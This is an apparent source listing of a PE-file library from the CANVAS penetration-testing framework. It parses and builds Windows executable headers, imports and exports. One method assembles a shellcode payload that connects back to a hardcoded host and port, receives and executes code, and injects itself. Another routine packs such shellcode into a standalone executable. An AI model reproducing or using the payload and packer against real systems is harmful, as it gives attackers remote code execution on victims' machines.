| Trees | Indices | Help |
|
|---|
|
|
1 #! /usr/bin/env python
2 """
3 (c) Immunity, Inc. 2004-2007
4
5
6 U{Immunity Inc.<http://www.immunityinc.com>} pelib
7
8 Proprietary CANVAS source code - use only under the license agreement
9 specified in LICENSE.txt in your CANVAS distribution
10 Copyright Immunity, Inc, 2002-2007
11 http://www.immunityinc.com/CANVAS/ for more information
12
13 """
14
15 __VERSION__ = '1.0'
16
17 import struct, sys
18 #try:
19 # import mosdefutils
20 #except ImportError:
21 # # Is this IMdbug
22 # import immutils
23
24 try:
25 import mosdef
26 except ImportError:
27 pass
28 try:
29 from shellcode import shellcodeGenerator
30 except ImportError:
31 pass
32
33 IMAGE_SIZEOF_FILE_HEADER=20
34 MZ_MAGIC = 0x5A4D
35 PE_MAGIC = 0x4550
36 IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
37 IMAGE_ORDINAL_FLAG = 0x80000000L
38
39 # PE documentation:
40 # http://win32assembly.online.fr/files/pe1.zip
41
43 tbl=[]
44 tmp=""
45 hex=""
46 i=0
47 for a in buf:
48 hex+="%02X "% ord(a)
49 i+=1
50 if ord(a) >=0x20 and ord(a) <0x7f:
51 tmp+=a
52 else:
53 tmp+="."
54 if i%16 == 0:
55 tbl.append((hex, tmp))
56 hex=""
57 tmp=""
58 tbl.append((hex, tmp))
59 return tbl
60
62 idx= fd.tell()
63 fd.seek(offset)
64 b=f.read(4096*4)
65 zero=b.find("\0")
66 fd.seek(idx)
67 if zero > -1:
68 return b[:zero]
69 return ""
70
71 #typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
72 #USHORT e_magic; // Magic number
73 #USHORT e_cblp; // Bytes on last page of file
74 #USHORT e_cp; // Pages in file
75 #USHORT e_crlc; // Relocations
76 #USHORT e_cparhdr; // Size of header in paragraphs
77 #USHORT e_minalloc; // Minimum extra paragraphs needed
78 #USHORT e_maxalloc; // Maximum extra paragraphs needed
79 #USHORT e_ss; // Initial (relative) SS value
80 #USHORT e_sp; // Initial SP value
81 #USHORT e_csum; // Checksum
82 #USHORT e_ip; // Initial IP value
83 #USHORT e_cs; // Initial (relative) CS value
84 #USHORT e_lfarlc; // File address of relocation table
85 #USHORT e_ovno; // Overlay number
86 #USHORT e_res[4]; // Reserved words
87 #USHORT e_oemid; // OEM identifier (for e_oeminfo)
88 #USHORT e_oeminfo; // OEM information; e_oemid specific
89 #USHORT e_res2[10]; // Reserved words
90 #LONG e_lfanew; // File address of new exe header
91 #} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
92
93
95
97
99 self.fmt="<30HL"
100 self.e_magic=0x5A4D
101 self.e_cblp=self.e_cp=self.e_crlc=self.e_cparhdr=self.e_minalloc=self.e_maxalloc = self.e_ss = self.e_sp =\
102 self.e_csum = self.e_ip= self.e_cs = self.e_lfarlc = self.e_ovno = self.e_oemid =\
103 self.e_oeminfo = self.e_res2 =self.e_lfanew = 0
104
105 self.e_res = [0,0,0,0]
106 self.e_res2 = [0,0,0,0,0,0,0,0,0,0]
107
110
112 try:
113 buf=struct.unpack(self.fmt, data[:struct.calcsize(self.fmt)])
114 except struct.error:
115 raise PEError, "The header doesn't correspond to a MZ header"
116
117 self.e_magic = buf[0]
118 self.e_cblp = buf[1]
119 self.e_cp = buf[2]
120 self.e_crlc = buf[3]
121 self.e_cparhdr = buf[4]
122 self.e_minalloc = buf[5]
123 self.e_maxalloc = buf[6]
124 self.e_ss = buf[7]
125 self.e_sp = buf[8]
126 self.e_csum = buf[9]
127 self.e_ip = buf[10]
128 self.e_cs = buf[11]
129 self.e_lfarlc = buf[12]
130 self.e_ovno = buf[13]
131 self.e_res = buf[14:18]
132 self.e_oemid = buf[18]
133 self.e_oeminfo = buf[19]
134 self.e_res2 = buf[20:30]
135 self.e_lfanew = buf[30]
136
137 if self.e_magic != MZ_MAGIC:
138 raise PEError, "The header doesn't correspond to a MZ header"
139
141 return struct.pack(self.fmt, self.e_magic, self.e_cblp, self.e_cp,\
142 self.e_crlc, self.e_cparhdr, self.e_minalloc,\
143 self.e_maxalloc, self.e_ss, self.e_sp, self.e_csum,\
144 self.e_ip, self.e_cs, self.e_lfarlc, self.e_ovno, \
145 self.e_res[0],self.e_res[1],self.e_res[2],self.e_res[3],\
146 self.e_oemid, self.e_oeminfo,\
147 self.e_res2[0], self.e_res2[1], self.e_res2[2], self.e_res2[3],\
148 self.e_res2[4], self.e_res2[5], self.e_res2[6], self.e_res2[7],
149 self.e_res2[8], self.e_res2[9], self.e_lfanew)
150
151 # returns the e_lfanew offset
154
160
162 self.Hint = struct.unpack(self.fmt, data[:2])[0]
163 ndx = data[2:].find("\0")
164 if ndx == -1:
165 raise PEError, "No string found on ImageImportByName"
166 self.Name = data[2:2+ndx]
167
170
173
176 self.fmt= "<LLLLL"
177 self.OriginalFirstThunk= self.TimeDateStamp= self.ForwarderChain= self.Name=\
178 self.FirstThunk=0
179 self.sName =""
180 self.Imports={}
181
183 (self.OriginalFirstThunk, self.TimeDateStamp, self.ForwarderChain, self.Name,\
184 self.FirstThunk) = struct.unpack(self.fmt, data)
185
188
191
193 return struct.pack(self.fmt, self.OriginalFirstThunk, self.TimeDateStamp, self.ForwarderChain, self.Name,\
194 self.FirstThunk)
195
198
199 #typedef struct _IMAGE_DATA_DIRECTORY {
200 # ULONG VirtualAddress;
201 # ULONG Size;
202 #} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
203
204
218
219 #typedef struct _IMAGE_EXPORT_DIRECTORY {
220 # DWORD Characteristics;
221 # DWORD TimeDateStamp;
222 # WORD MajorVersion;
223 # WORD MinorVersion;
224 # DWORD Name;
225 # DWORD Base;
226 # DWORD NumberOfFunctions;
227 # DWORD NumberOfNames;
228 # DWORD AddressOfFunctions; // RVA from base of image
229 # DWORD AddressOfNames; // RVA from base of image
230 # DWORD AddressOfNameOrdinals; // RVA from base of image
231 #} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY
234 self.fmt = "<2L2H7L"
235 self.Characteristics = self.TimeDateStamp = self.MajorVersion = self.MinorVersion = self.Name = self.Base=\
236 self.NumberOfFunctions = self.NumberOfNames = self.AddressOfFunctions = self.AddressOfNames = \
237 self.AddressOfNameOrdinals = 0
238 self.sName=""
239
242
245
247 (self.Characteristics, self.TimeDateStamp, self.MajorVersion, self.MinorVersion, self.Name, self.Base,\
248 self.NumberOfFunctions, self.NumberOfNames, self.AddressOfFunctions, self.AddressOfNames, \
249 self.AddressOfNameOrdinals) = struct.unpack(self.fmt, data)
250
255
256
257
258 #define IMAGE_SIZEOF_SHORT_NAME 8
259 #
260 #typedef struct _IMAGE_SECTION_HEADER {
261 # BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
262 # union {
263 # DWORD PhysicalAddress;
264 # DWORD VirtualSize;
265 # } Misc;umber
266 # DWORD VirtualAddress;
267 # DWORD SizeOfRawData;
268 # DWORD PointerToRawData;
269 # DWORD PointerToRelocations;
270 # DWORD PointerToLinenumbers;
271 # WORD NumberOfRelocations;
272 # WORD NumberOfLinenumbers;
273 # DWORD Characteristics;
274 #} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
275
278 self.fmt="<LLLLLLHHL"
279 self.Name=""
280 self.VirtualSize = self.VirtualAddress = self.SizeOfRawData = self.PointerToRawData =\
281 self.PointerToRelocations = self.PointerToLinenumbers=\
282 self.NumberOfRelocations = self.NumberOfLinenumbers =\
283 self.Characteristics = 0
284
287
289 return rva >= (self.VirtualAddress+imagebase) and rva < (self.VirtualAddress+self.VirtualSize+imagebase)
290
293
294
296 idx=0
297
298 self.Name=data[idx:idx+8]
299 idx+=8
300
301 (self.VirtualSize, self.VirtualAddress, self.SizeOfRawData, self.PointerToRawData ,\
302 self.PointerToRelocations, self.PointerToLinenumbers,\
303 self.NumberOfRelocations, self.NumberOfLinenumbers,\
304 self.Characteristics)= \
305 struct.unpack(self.fmt, data[idx:])
306
308 self.Name = (self.Name + "\x00" * (8-len(self.Name)))[:8]
309 return self.Name + struct.pack(self.fmt, self.VirtualSize, \
310 self.VirtualAddress, self.SizeOfRawData, self.PointerToRawData,\
311 self.PointerToRelocations, self.PointerToLinenumbers,\
312 self.NumberOfRelocations, self.NumberOfLinenumbers,\
313 self.Characteristics)
314
315
316
317 #typedef struct _IMAGE_FILE_HEADER {
318 # USHORT Machine;
319 # USHORT NumberOfSections;
320 # ULONG TimeDateStamp;
321 # ULONG PointerToSymbolTable;
322 # ULONG NumberOfSymbols;
323 # USHORT SizeOfOptionalHeader;
324 # USHORT Characteristics;
325 #} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
326
327 ##define IMAGE_SIZEOF_FILE_HEADER 20
330 self.imagefmt= "<2H3L2H"
331 (self.Machine,\
332 self.NumberOfSections,\
333 self.TimeDateStamp,\
334 self.PointerToSymbolTable,\
335 self.NumberOfSymbols,\
336 self.SizeOfOptionalHeader,\
337 self.Characteristics)= (0,0,0,0,0,0xe0,0)
338
340 try:
341 (self.Machine,\
342 self.NumberOfSections,\
343 self.TimeDateStamp,\
344 self.PointerToSymbolTable,\
345 self.NumberOfSymbols,\
346 self.SizeOfOptionalHeader,\
347 self.Characteristics)=struct.unpack(self.imagefmt, data)
348 except struct.error:
349 raise PEError, "Invalid IMAGE header" % self.signature
350
353
355 try:
356 return struct.pack(self.imagefmt,self.Machine,\
357 self.NumberOfSections,\
358 self.TimeDateStamp,\
359 self.PointerToSymbolTable,\
360 self.NumberOfSymbols,\
361 self.SizeOfOptionalHeader,\
362 self.Characteristics)
363 except struct.error:
364 raise PEError, "Image not initialized" % self.signature
365
366
367 #typedef struct _IMAGE_OPTIONAL_HEADER {
368 # //
369 # // Standard fields.
370 # //
371 # USHORT Magic;
372 # UCHAR MajorLinkerVersion;
373 # UCHAR MinorLinkerVersion;
374 # ULONG SizeOfCode;
375 # ULONG SizeOfInitializedData;
376 # ULONG SizeOfUninitializedData;
377 # ULONG AddressOfEntryPoint;
378 # ULONG BaseOfCode;
379 # ULONG BaseOfData;
380 # //
381 # // NT additional fields.
382 # //
383 # ULONG ImageBase;
384 # ULONG SectionAlignment;
385 # ULONG FileAlignment;
386 # USHORT MajorOperatingSystemVersion;
387 # USHORT MinorOperatingSystemVersion;
388 # USHORT MajorImageVersion;
389 # USHORT MinorImageVersion;
390 # USHORT MajorSubsystemVersion;
391 # USHORT MinorSubsystemVersion;
392 # ULONG Reserved1;
393 # ULONG SizeOfImage;
394 # ULONG SizeOfHeaders;
395 # ULONG CheckSum;
396 # USHORT Subsystem;
397 # USHORT DllCharacteristics;
398 # ULONG SizeOfStackReserve;
399 # ULONG SizeOfStackCommit;
400 # ULONG SizeOfHeapReserve;
401 # ULONG SizeOfHeapCommit;
402 # ULONG LoaderFlags;
403 # ULONG NumberOfRvaAndSizes;
404 # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
405 #} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;
406
409 self.optionalfmt="<HBB9L6H4L2H6L"
410 self.Magic=0x010b
411 self.MajorLinkerVersion = self.MinorLinkerVersion = self.SizeOfCode =\
412 self.SizeOfInitializedData = self.SizeOfUninitializedData = self.AddressOfEntryPoint =\
413 self.BaseOfCode = self.BaseOfData = self.ImageBase = self.SectionAlignment = self.FileAlignment =\
414 self.MajorOperatingSystemVersion = self.MinorOperatingSystemVersion = self.MajorImageVersion =\
415 self.MinorImageVersion = self.MajorSubsystemVersion = self.MinorSubsystemVersion =\
416 self.Reserved1 = self.SizeOfImage = self.SizeOfHeaders = self.CheckSum = self.Subsystem =\
417 self.DllCharacteristics = self.SizeOfStackReserve = self.SizeOfStackCommit = self.SizeOfHeapReserve=\
418 self.SizeOfHeapCommit = self.LoaderFlags = self.NumberOfRvaAndSizes =0
419
422
424 return "self.Magic %08x,\
425 self.MajorLinkerVersion %08x,\
426 self.MinorLinkerVersion %08x,\
427 self.SizeOfCode %08x,\
428 self.SizeOfInitializedData %08x,\
429 self.SizeOfUninitializedData %08x,\
430 self.AddressOfEntryPoint %08x,\
431 self.BaseOfCode %08x,\
432 self.BaseOfData %08x,\
433 self.ImageBase %08x,\
434 self.SectionAlignment %08x,\
435 self.FileAlignment %08x,\
436 self.MajorOperatingSystemVersion %08x,\
437 self.MinorOperatingSystemVersion %08x,\
438 self.MajorImageVersion %08x,\
439 self.MinorImageVersion %08x,\
440 self.MajorSubsystemVersion %08x,\
441 self.MinorSubsystemVersion %08x,\
442 self.Reserved1 %08x,\
443 self.SizeOfImage %08x,\
444 self.SizeOfHeaders %08x,\
445 self.CheckSum %08x,\
446 self.Subsystem %08x,\
447 self.DllCharacteristics %08x,\
448 self.SizeOfStackReserve %08x,\
449 self.SizeOfStackCommit %08x,\
450 self.SizeOfHeapReserve %08x,\
451 self.SizeOfHeapCommit %08x,\
452 self.LoaderFlags %08x,\
453 self.NumberOfRvaAndSizes %08x" % \
454 (self.Magic,\
455 self.MajorLinkerVersion,\
456 self.MinorLinkerVersion,\
457 self.SizeOfCode,\
458 self.SizeOfInitializedData,\
459 self.SizeOfUninitializedData,\
460 self.AddressOfEntryPoint,\
461 self.BaseOfCode,\
462 self.BaseOfData,\
463 self.ImageBase,\
464 self.SectionAlignment,\
465 self.FileAlignment,\
466 self.MajorOperatingSystemVersion,\
467 self.MinorOperatingSystemVersion,\
468 self.MajorImageVersion,\
469 self.MinorImageVersion,\
470 self.MajorSubsystemVersion,\
471 self.MinorSubsystemVersion,\
472 self.Reserved1,\
473 self.SizeOfImage,\
474 self.SizeOfHeaders,\
475 self.CheckSum,\
476 self.Subsystem,\
477 self.DllCharacteristics,\
478 self.SizeOfStackReserve,\
479 self.SizeOfStackCommit,\
480 self.SizeOfHeapReserve,\
481 self.SizeOfHeapCommit,\
482 self.LoaderFlags,\
483 self.NumberOfRvaAndSizes )
484
486 try:
487 (self.Magic,\
488 self.MajorLinkerVersion,\
489 self.MinorLinkerVersion,\
490 self.SizeOfCode,\
491 self.SizeOfInitializedData,\
492 self.SizeOfUninitializedData,\
493 self.AddressOfEntryPoint,\
494 self.BaseOfCode,\
495 self.BaseOfData,\
496 self.ImageBase,\
497 self.SectionAlignment,\
498 self.FileAlignment,\
499 self.MajorOperatingSystemVersion,\
500 self.MinorOperatingSystemVersion,\
501 self.MajorImageVersion,\
502 self.MinorImageVersion,\
503 self.MajorSubsystemVersion,\
504 self.MinorSubsystemVersion,\
505 self.Reserved1,\
506 self.SizeOfImage,\
507 self.SizeOfHeaders,\
508 self.CheckSum,\
509 self.Subsystem,\
510 self.DllCharacteristics,\
511 self.SizeOfStackReserve,\
512 self.SizeOfStackCommit,\
513 self.SizeOfHeapReserve,\
514 self.SizeOfHeapCommit,\
515 self.LoaderFlags,\
516 self.NumberOfRvaAndSizes )= struct.unpack(self.optionalfmt, data)
517 except struct.error:
518 raise PEError, "Invalid Optional Header" % self.signature
519
521 try:
522 return struct.pack(self.optionalfmt, self.Magic,\
523 self.MajorLinkerVersion,\
524 self.MinorLinkerVersion,\
525 self.SizeOfCode,\
526 self.SizeOfInitializedData,\
527 self.SizeOfUninitializedData,\
528 self.AddressOfEntryPoint,\
529 self.BaseOfCode,\
530 self.BaseOfData,\
531 self.ImageBase,\
532 self.SectionAlignment,\
533 self.FileAlignment,\
534 self.MajorOperatingSystemVersion,\
535 self.MinorOperatingSystemVersion,\
536 self.MajorImageVersion,\
537 self.MinorImageVersion,\
538 self.MajorSubsystemVersion,\
539 self.MinorSubsystemVersion,\
540 self.Reserved1,\
541 self.SizeOfImage,\
542 self.SizeOfHeaders,\
543 self.CheckSum,\
544 self.Subsystem,\
545 self.DllCharacteristics,\
546 self.SizeOfStackReserve,\
547 self.SizeOfStackCommit,\
548 self.SizeOfHeapReserve,\
549 self.SizeOfHeapCommit,\
550 self.LoaderFlags,\
551 self.NumberOfRvaAndSizes )
552
553 except struct.error:
554 raise PEError, "Invalid Optional Header" % self.signature
555
562
564 self.offset2PE=offset2PE
565 idx=self.offset2PE
566
567 self.signature,=struct.unpack("L", data[idx:idx+4])
568 idx+=4
569
570 if self.signature != PE_MAGIC:
571 raise PEError, "Invalid PE Signature: %08x" % self.signature
572
573 self.IMGhdr = IMGhdr()
574 self.IMGhdr.get(data[idx: idx+self.IMGhdr.getSize()])
575
576 idx += self.IMGhdr.getSize()
577
578 self.IMGOPThdr = IMGOPThdr()
579 self.IMGOPThdr.get(data[idx:idx+self.IMGOPThdr.getSize()])
580 idx += self.IMGOPThdr.getSize()
581
582
583 self.getDirectories(data[idx: idx+IMAGE_NUMBEROF_DIRECTORY_ENTRIES*8])
584 idx += IMAGE_NUMBEROF_DIRECTORY_ENTRIES*8
585
586 #print "-" * 4 + " Directories "+ "-" * 4
587 #self.printDirectories()
588
589 idx += self.getSections(data[idx:])
590
591 #print "-" * 4 + " Sections "+ "-" * 4
592 #self.printSections()
593
594 # Getting Imports
595 #print "-" * 4 + " Imports "+ "-" * 4
596 self.getImportDescriptor(data, self.Directories[1].VirtualAddress)
597 self.printImportDescriptor()
598
599 #print "-" * 4 + " Exports "+ "-" * 4
600 #self.getExportDescriptor(data, self.Directories[0].VirtualAddress)
601
602 #offset=self.getOffsetFromRVA(0x7aac)
603 #print hexdump(data[offset:offset+0x10])
604 #print self.IMGOPThdr.Print()
605
607 idx = 0
608 for a in range(0, self.IMGhdr.NumberOfSections):
609 sec= Section()
610 sec.get(data[idx:idx+sec.getSize()])
611 idx+=sec.getSize()
612 self.Sections[sec.Name] = sec
613
614 return idx+ sec.getSize()
615
617 offset=self.getOffsetFromRVA(rva)
618 if not offset:
619 print "No Import Table Found"
620 return ""
621 while 1:
622 im = ImportDescriptor()
623
624 im.get(data[offset:offset + im.getSize()])
625 if im.OriginalFirstThunk == 0:
626 break
627 im.setSname(self.getString(data, im.Name))
628 if not im.sName:
629 raise PEError, "No String found on Import at offset: 0x%08x" % offset
630 self.Imports[im.sName] = im
631
632 funcNdx= self.getOffsetFromRVA(im.OriginalFirstThunk)
633 while 1:
634 rva2IIBN= struct.unpack("L", data[funcNdx:funcNdx+4])[0]
635 funcNdx+=4
636 if rva2IIBN == 0:
637 break
638 iibn=ImageImportByName()
639 if rva2IIBN & IMAGE_ORDINAL_FLAG:
640 im.setImport("#"+str(rva2IIBN & ~(IMAGE_ORDINAL_FLAG))\
641 , iibn)
642 else:
643 off2IIBN=self.getOffsetFromRVA(rva2IIBN)
644
645 iibn=ImageImportByName()
646 iibn.get(data[off2IIBN:])
647 im.setImport(iibn.Name, iibn)
648
649 offset+=im.getSize()
650
652 for a in self.Imports.keys():
653 im = self.Imports[a] # to clarify a bit
654
655 for b in im.Imports.keys():
656 print a, ":",b
657
659 print "Name VirtulAddress PointerToRawData"
660 for a in self.Sections.keys():
661 print a, hex(self.Sections[a].VirtualAddress), hex(self.Sections[a].PointerToRawData), hex(self.Sections[a].SizeOfRawData )
662
663
665 offset=self.getOffsetFromRVA(rva)
666 end= data[offset:].find("\0")
667 if end ==-1:
668 return ""
669 return data[offset:offset+end]
670
672 sec=None
673 for a in self.Sections.keys():
674 if self.Sections[a].has(rva, imagebase):
675 sec=self.Sections[a]
676 if sec:
677 return (rva -sec.VirtualAddress -imagebase )+ sec.PointerToRawData
678 return ""
679
681 sec = None
682 for a in self.Sections.keys():
683 if self.Sections[a].hasOffset(offset):
684 sec=self.Sections[a]
685 if sec:
686 return (offset -sec.PointerToRawData)+ sec.VirtualAddress+imagebase
687 return ""
688
690 self.Directories=[]
691 for a in range(0, IMAGE_NUMBEROF_DIRECTORY_ENTRIES):
692 directory= Directory()
693 directory.get(data[a*8 : a*8+8])
694 self.Directories.append(directory)
695
699
701 offset=self.getOffsetFromRVA(rva)
702 if not offset:
703 #print "No Export Table Found"
704 return ""
705 em = ImageExportDirectory()
706 em.get(data[offset:offset+ em.getSize()])
707 em.setName( self.getString(data, em.Name)) # We use the address at is it (No offset from rva)
708 addrofnames = self.getOffsetFromRVA(em.AddressOfNames)
709 addroforidnal = self.getOffsetFromRVA(em.AddressOfNameOrdinals)
710 eat = self.getOffsetFromRVA(em.AddressOfFunctions)
711
712 for a in range(0, em.NumberOfNames):
713 nameaddr = struct.unpack("L", data[ addrofnames : addrofnames+4 ])[0]
714 ordinal = struct.unpack("H", data[ addroforidnal : addroforidnal+2 ])[0]
715 address = struct.unpack("L", data[ eat +ordinal*4 : eat +ordinal*4+4 ])[0]
716
717 try:
718 name = self.getString(data, nameaddr)
719 except TypeError, msg:
720 print "Error on Export Table %s" % str(msg)
721 break
722 print "0x%08x (0x%08x): %s" % (self.IMGOPThdr.ImageBase + address, address, name)
723 addrofnames +=4
724 addroforidnal+=2
725
726 #arrayname=struct.unpack("L", data[em.AddressOfNames:em.AddressOfNames+4])[0]
727 #print hex(arrayname)
728 #print self.getString(data, arrayname)
729 #for a in range(0, em.NumberOfNames):
730 # name_off= struct.unpack("L", data[arrayname+a*4:arrayname+a*4+4])[0]
731 # print hex(name_off)
732 # print self.getString(data, name_off)
733 #print em.NumberOfNames
734
735
739
743
745 self.fd = open(filename, "rb")
746 self.filename = filename
747 self.rawdata = self.fd.read()
748 #shellcode=self.createShellcode()
749
750 self._openPE()
751 #self.createPE(shellcode)
752
754 # for test only
755 localhost = "192.168.1.103"
756 localport = 8090
757
758 sc = shellcodeGenerator.win32()
759 sc.addAttr("findeipnoesp",{"subespval": 0x1000 })
760 sc.addAttr("revert_to_self_before_importing_ws2_32", None)
761 sc.addAttr("tcpconnect", {"port" : localport, "ipaddress" : localhost})
762 sc.addAttr("RecvExecWin32",{"socketreg": "FDSPOT"}) #MOSDEF
763 sc.addAttr("ExitThread", None)
764 injectme = sc.get()
765
766 sc = shellcodeGenerator.win32()
767 sc.addAttr("findeipnoesp", {"subespval": 0})
768 sc.addAttr("InjectToSelf", { "injectme" : injectme })
769 sc.addAttr("ExitThread", None)
770 return sc.get()
771
774
776 self.MZ = MZ()
777 idx=0
778 self.MZ.get(self.rawdata[idx:idx+self.MZ.getSize()])
779 self.PE = PE()
780 self.PE.get(self.rawdata, self.MZ.getPEOffset())
781
783
784 buf = self.createPEFileBuf(shellcode, importante)
785
786 f=open(filename, "wb")
787 f.write(buf)
788 f.close()
789
790
792
793 idx= 0
794 # MZ
795 mz = MZ()
796 mz.e_lfanew = mz.getSize()
797
798 idx+= mz.getSize()
799
800 # PE Image Header
801 imgHdr = IMGhdr()
802 imgHdr.Machine = 0x014c # i386
803 imgHdr.NumberOfSections = 0x2 # Code and data for now (Maybe we can do it only one)
804 imgHdr.Characteristics = 0x0102 # Executable on 32-bit machine
805
806 idx += imgHdr.getSize() + 4 # for PE_MAGIC
807
808 # Optional Header
809 imgOpt = IMGOPThdr()
810 imgOpt.SectionAlignment = 0x20 # Thats our aligment
811 imgOpt.FileAlignment = 0x20
812 imgOpt.MajorOperatingSystemVersion = 0x4 # NT4.0
813 imgOpt.MajorSubsystemVersion = 0x4 # Win32 4.0
814 imgOpt.Subsystem = 0x3
815 imgOpt.SizeOfStackReserve = 0x100000
816 imgOpt.SizeOfStackCommit = 0x1000
817 imgOpt.SizeOfHeapReserve = 0x100000
818 imgOpt.SizeOfHeapCommit = 0x1000
819 imgOpt.NumberOfRvaAndSizes= 0x10
820
821 idx += imgOpt.getSize()
822
823 # Directories
824 directories=[]
825 for a in range(0, imgOpt.NumberOfRvaAndSizes):
826 directories.append(Directory())
827
828 idx+= directories[0].getSize() * 16
829
830 # .code section
831 code = Section()
832 code.Name = ".text"
833 code.Characteristics = 0x60000020L # Code | Executable | Readable
834 idx+= code.getSize()
835
836 # .data section
837 data = Section()
838 data.Name = ".data"
839 data.Characteristics = 0xc0000040L # Initialized | Readable | Writeable
840
841 idx += data.getSize()
842
843 code_offset = self.align(idx, imgOpt.FileAlignment)
844 firstpad= "\0" * (code_offset - idx)
845 idx=code_offset
846
847 # we can fill data_buf with our data and that will be loaded into mem :>
848 idx+= len(shellcode)
849 data_offset = self.align(idx, imgOpt.FileAlignment)
850 secondpad= "\0" * (data_offset - idx)
851 idx = data_offset
852 data_buf =""
853 idx+= len(data_buf)
854
855 # Creating the list of ImportDescriptors
856 import_offset =idx
857 imports=[]
858 ndx= 0
859 import_str=""
860
861 for a in importante:
862 i= ImportDescriptor()
863 i.ForwarderChain= 0xFFFFFFFFL
864 imports.append( (i, ndx))
865
866 ndx+=len(a[0]+"\0") # We put on NDX, an index of the name string, so at the end
867 # to find a string, we will do import_str_offset + this_index
868
869 import_str += a[0] + "\0" # Collecting dll names
870
871 # The final importdescriptor
872 imports.append((ImportDescriptor(), 0))
873 idx+= i.getSize() * len(imports)
874
875 import_str_offset = idx
876 idx+= len(import_str)
877
878 off = self.align(idx, imgOpt.FileAlignment)
879 import_str+="\0" * (off-idx)
880 idx = off
881
882 # Original Thunks
883 original_thunks_offset = idx
884 original_thunk=[]
885 for a in importante:
886 original_thunk.append(idx)
887 idx+= len(a[1]) * 4 + 4
888
889 # First thunk offset
890 first_thunks_offset = idx
891 first_thunk=[]
892 for a in importante:
893 first_thunk.append(idx)
894 idx+= len(a[1]) * 4 + 4
895
896 # Creating IIBN
897 IIBN=[]
898 for a in importante:
899 tbl=[]
900 IIBN.append(tbl)
901 for b in a[1]:
902 iibn = ImageImportByName()
903 iibn.Name = b #"RevertToSelf"
904 iibn.Hint = 1
905 tbl.append((iibn, idx))
906 idx+=iibn.getSize()
907
908 endpad= "\0" * (self.align(idx, imgOpt.FileAlignment) - idx)
909
910 # Filling the gaps
911 imgOpt.SizeOfCode = len(shellcode) + len(secondpad)
912 imgOpt.BaseOfCode = imgOpt.AddressOfEntryPoint = code_offset
913 imgOpt.BaseOfData = data_offset
914 imgOpt.ImageBase = 0x40000
915 imgOpt.SizeOfInitializedData = 0x20
916 imgOpt.SizeOfImage = 0xc # ?
917
918 imgOpt.SizeOfHeaders = code_offset
919 imgOpt.NumberOfRvaAndSizes = 0x10
920
921 # Import Directory
922
923 directories[1].VirtualSize=directories[1].Size = idx - import_offset
924 directories[1].VirtualAddress= import_offset
925
926 # code and data
927 code.VirtualAddress = code_offset
928 code.VirtualSize= code.SizeOfRawData = imgOpt.SizeOfCode
929 code.PointerToRawData = code_offset
930
931 data.VirtualAddress = data_offset
932 data.VirtualSize = data.SizeOfRawData = idx - data_offset #len(data_buf)
933 data.PointerToRawData = data_offset
934
935 imgOpt.SizeOfImage = idx # code.SizeOfRawData + data.SizeOfRawData
936
937 # Fixing imports with thunk info
938 for a in range(0, len(imports)-1):
939 imports[a][0].OriginalFirstThunk= original_thunk[a]
940 imports[a][0].FirstThunk= first_thunk[a]
941 imports[a][0].Name = import_str_offset + imports[a][1]
942
943
944 # RAWing...
945 buf = mz.raw() + struct.pack("L", PE_MAGIC) +imgHdr.raw() + imgOpt.raw()
946 for a in directories:
947 buf+= a.raw()
948 buf+= code.raw()
949 buf+= data.raw()
950 buf+= firstpad
951 buf+= shellcode
952 buf+= secondpad
953 buf+= data_buf
954
955 for a in imports:
956 buf+= a[0].raw()
957 buf+= import_str
958
959 # ORIGINAL THUNK
960 for a in IIBN:
961 for b in a: # Listing function
962 buf+=struct.pack("L",b[1])
963 buf+=struct.pack("L",0x0)
964
965 # FIRST THUNK
966 for a in IIBN:
967 for b in a: # Listing function
968 buf+=struct.pack("L",b[1])
969 buf+=struct.pack("L",0x0)
970
971 # IIBN
972 for a in IIBN:
973 for b in a:
974 buf+= b[0].raw()
975 buf+= endpad
976
977 return buf
978
979
980 # For MOSDEF
982 from win32peresolver import win32peresolver
983 # shellcode, importante=[ ("advapi32.dll", ["RevertToSelf"])] ):
984
985 # Mixing MOSDEF with PElib.
986 # Concerning Mosdef:
987 # Basically, we have a win32peresolver that pass some fixed address (that would be our PE PLT)
988 # and thats returned to the compile code. The win32peresolver put all this address on a cached.
989 #
990 # Concerning PE
991 # First of all, we need to compile before everything, cause we need the list of imported functions
992 # So, we send mosdef a hardcoded address(0x401A0) offset: 0x1A0 which is where the .text section start.
993 # At that address, will be our PLT (jmp *(IAT_entry)), so we have to point the Entry Address to
994 # .code + function_number * sizeof(jmp *(IAT_entry)). So we land on the begging on the shellcode.
995 #
996 # To discover where the IAT would be (we need to know this, before creating the PLT), we need to calculate
997 # where the First thunk
998 #
999 # buf+= secondpad
1000 # buf+= data_buf
1001 #
1002 # for a in imports:
1003 # buf+= a[0].raw()
1004 # buf+= import_str
1005 #
1006 # # ORIGINAL THUNK
1007 # for a in IIBN:
1008 # for b in a: # Listing function
1009 # buf+=struct.pack("L",b[1])
1010 # buf+=struct.pack("L",0x0)
1011 # # FIRST THUNK
1012 # for a in IIBN:
1013 # for b in a: # Listing function
1014 # buf+=struct.pack("L",b[1])
1015 # buf+=struct.pack("L",0x0)
1016
1017 # side note: .code must be aligned
1018
1019 image_base = 0x40000
1020 plt_len = len(mosdef.assemble("jmp *(0x01020304)", "X86"))
1021 plt_entry = 0x1A0 + image_base
1022
1023 w=win32peresolver(plt_entry)
1024 w.setPLTEntrySize(plt_len)
1025
1026 shellcode = w.compile(code, vars)
1027
1028 # We need to pass the functioncache[func] = address into [ ("advapi32.dll", ["RevertToSelf"])] format
1029 # Yeah, probably you can do it better or with one fancy python line
1030 dll={}
1031 func_by_addr = {}
1032 functions_num=0
1033
1034
1035 for a in w.remotefunctioncache.keys():
1036 s = a.split("|")
1037 if dll.has_key( s[0] ):
1038 dll[s[0] ].append(s[1])
1039 else:
1040 dll[ s[0] ] = [ s[1] ]
1041 functions_num+=1
1042 func_by_addr[a] = w.remotefunctioncache[a]
1043
1044 importante = []
1045 for a in dll.keys():
1046 importante.append( (a, dll[a]) )
